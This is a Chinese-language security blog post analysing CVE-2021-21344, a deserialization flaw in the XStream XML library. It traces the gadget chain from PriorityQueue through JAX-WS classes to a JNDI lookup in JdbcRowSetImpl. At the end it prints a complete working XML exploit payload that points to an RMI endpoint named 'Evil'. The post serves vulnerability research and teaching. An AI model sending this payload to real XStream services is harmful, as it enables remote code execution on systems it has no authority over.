JavaSec系列 - 4. 反序列化与JNDI注入(2)

本章源码: https://github.com/hey3e/JavaSec-Code/tree/main/javasec4

深入分析CVE-2021-21344。

上章,我们以fastjson的JSON.parseObject为反序列化入口,JdbcRowSetImpl类的lookup方法为JNDI注入点,实现了一次完整的攻击。

类似,XML解析库XStream使用toXMLfromXML方法对Java对象进行序列化与反序列化,我们来看下它如何成为攻击的触发点。

首先了解一下基本原理。用下列代码处理上章的Person类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package javasec4;

import com.thoughtworks.xstream.XStream;

public class test {
public static void main(String[] args) {
XStream xStream = new XStream();
Person person = new Person(18);
String xml = xStream.toXML(person);
System.out.println(xml);

xStream.fromXML(xml);
}
}

序列化后的XML为:

1
2
3
<javasec4.Person>
<age>18</age>
</javasec4.Person>

接下来我们对Person类稍作处理,使其实现Serializable接口并重写readObject方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package javasec4;

import java.io.IOException;
import java.io.Serializable;

public class Person implements Serializable{
private Integer age;

public Person(Integer age) {
this.age = age;
}

public Person() {
}

public void setAge(Integer age) {
this.age = age;
}

public Integer getAge() {
return age;
}

public void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
System.out.println("[+] Person's readObject.");
}
}

此时序列化后的XML为:

可以注意到两点,对于实现了Serializable接口并重写了readObject方法的类,其序列化后的XML会新增serialization="custom"字段,同时,类似于fastjson反序列化过程中类的gettersetter方法会得到执行,XML反序列化过程中,类重写的readObject会被执行。

记住这些,我们分层来分析CVE-2021-21344的POC:

最外层,是java.util.PriorityQueu类,一个借助其comparator进行排序的优先级队列。可知它实现了Serializable接口并重写了readObject方法。<default>标签下,是该类的两个属性sizecomparator。最下面的便是队列中的两个字符串元素”javax.xml.ws.binding.attachments.inbound”。

为了更好的理解,我们可以自己定义这样一个队列并对其序列化:

1
2
3
4
5
6
7
8
9
10
11
public class test {
public static void main(String[] args) {
XStream xStream = new XStream();
PriorityQueue<String> priorityQueue = new PriorityQueue();
priorityQueue.add("javax.xml.ws.binding.attachments.inbound");
priorityQueue.add("javax.xml.ws.binding.attachments.inbound");
System.out.println(priorityQueue);
String xml = xStream.toXML(priorityQueue);
System.out.println(xml);
}
}

查看结果:

comparator外,完全一致。

接下来重点看下comparator部分:

层层嵌套,我们用debug的方式来理解。

PriorityQueuereadObject方法上下断点,发现它被如期调用:

PriorityQueue而言,一个序列化后的队列字符串,反序列化要做的就是重新排序,对应readObjectheapify方法:

排序的标准便是前文提及的comparator,此处为sun.awt.datatransfer.DataTransferer$IndexOrderComparator类,常用于应用间通信。其compare方法,排序的对象便是两个”javax.xml.ws.binding.attachments.inbound”字符串:

同时,可见排序传入了DataTransferer$IndexOrderComparator类的indexMap,此处为com.sun.xml.internal.ws.client.ResponseContext类,顾名思义,它是通信中response报文的信息。在该comparator中,对两个元素的比较是通过比较二者在indexMap中的索引来实现的。在compareIndices方法中,调用get获取了元素的索引:

深入get,首先映入眼帘的便是基于报文主体packet的多次判断:

我们贴下POC中构造的<packet>部分进行对照:

第一个if,进入到supports

对照POC,并无satellites,可以理解为并没有集成其他报文的属性。同理,也无else if中的handlerScopePropertyNames,因此进入else部分。这里的判断if (!key.equals("javax.xml.ws.binding.attachments.inbound"))表明了为什么PriorityQueu中的元素需要是”javax.xml.ws.binding.attachments.inbound”,而inbound message,实际上指来自移动设备的消息。于是来到最后的else:

其中,对packetmessage,此处为com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart,一个MIME类型的XML,进行了剖析。接下来,我们把注意力集中到message上,POC部分如下:

来到XMLMessage$XMLMultiPartgetMessage方法:

可见,getMessage最终需要delegate,而POC中并未构造,因此会借助dataSource来进行生成。这里的dataSourcecom.sun.xml.internal.ws.message.JAXBAttachment,POC中可以看到,它有两个属性,bridgejaxbObject。此处具体的生成逻辑为,利用dataSource提供的序列化操作,即JAXBAttachmentbridge,将dataSource的主体,即JAXBAttachmentjaxbObject,转化为字节流,传入MimeMultipartParser进行处理,以生成delegate并返回。

对照POC,我们看到这里的jaxbObject是上章用到过的JdbcRowSetImpl类,它的详细构造我们等下来看。这里,我们先保持思路跟进封装了一系列序列化操作的bridge,此处为com.sun.xml.internal.ws.db.glassfish.BridgeWrappercom.sun.xml.internal.bind.v2.runtime.BridgeImpl类:

来到序列化方法marshal

可见,该方法首先利用contextmarshallerPool构造了一个Marshaller。于是我们跟进到POC的<context>

可以发现<context><nameList>提供的两个属性均为空,这是因为其内容并不会影响到攻击的主逻辑,但是是必须的,如果没有则会报错。这里我展示了二者分别是在何处被访问到的:

<namespaceURIs>

<localNames>

分析完context,我们继续看序列化操作:

其中,tJdbcRowSetImpl类,m为刚刚构造的Marshaller,而bi,此处为com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl,继承自com.sun.xml.internal.bind.v2.runtime.JaxBeanInfo,封装了具体到某一类的序列化操作。看下POC:

向下跟进,来到XMLSerializer类的childAsXsiType方法:

其中,比较完<jaxbType>child,即JdbcRowSetImpl,的异同后,调用了actual,即POC中构造的biClassBeanInfoImpl,的serializeURIs方法对JdbcRowSetImpl进行序列化:

这里我们看到<uriProperties>是不可或缺的。接着,调用了inheritedAttWildcardget方法,此处为com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection,顾名思义,用于反射访问类的gettersetter。而这里的get,反射调用了JdbcRowSetImplgetter方法:

上章,攻击借助了JdbcRowSetImplsetAutoCommit方法,而实际上,它的一个getter方法,getDatabaseMetaData,也调用了connect,也就是我们在POC中所声明的。因此至此,我们已经从XStream反序列化的入口,挖掘到了JNDI注入点,整体的调用栈如下:

最后我们回头填前文<jaxbObject>的坑:

有了上章的经验,dataSource一目了然,攻击的最后一环也就绪了。

但是我们注意到奇怪的一点,这里dataSource被声明在了JdbcRowSetImpl的父类BaseRowSet中,而JdbcRowSetImpl本身并没有得到构造。

这与XML序列化的特点有关。我们构造一个Student类,使其继承自Person,并为其增加一个grade属性:

1
2
3
4
5
6
7
8
9
10
11
12
public class Student extends Person implements Serializable {
private Integer grade;

public Student(Integer age, Integer grade) {
super(age);
this.grade = grade;
}

public void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
System.out.println("[+] Student's readObject.");
}
}

查看其序列化后的XML:

可见父类Person的属性age被声明在<javasec4.Student>外。以此类推,由于dataSource实际上归属于BaseRowSet,因此只需在其下声明即可。

完整的POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
<indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
<packet>
<message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
<dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
<bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
<bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
<bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
<jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>
<uriProperties/>
<inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
<getter>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>getDatabaseMetaData</name>
<parameter-types/>
</getter>
</inheritedAttWildcard>
</bi>
<context>
<marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
<outer-class reference='../..'/>
</marshallerPool>
<nameList>
<namespaceURIs/>
<localNames/>
</nameList>
</context>
</bridge>
</bridge>
<jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
<javax.sql.rowset.BaseRowSet>
<default>
<dataSource>rmi://localhost:1097/Evil</dataSource>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
</jaxbObject>
</dataSource>
</message>
<satellites/>
<invocationProperties/>
</packet>
</indexMap>
</comparator>
</default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

共55行,相较于官网的103行,精简了许多。

总结一下,CVE-2021-21344的关键词有两个,PriorityQueue和JAX-WS (Java API For XML-WebService)。首先,XStream反序列化时,进入了PriorityQueue的反序列化方法,接着,借助JAX-WS的相关类,对XML再次进行了序列化,从而触发了JNDI注入。

Author

yekc1m

Posted on

2022-01-17

Updated on

2022-01-17

Licensed under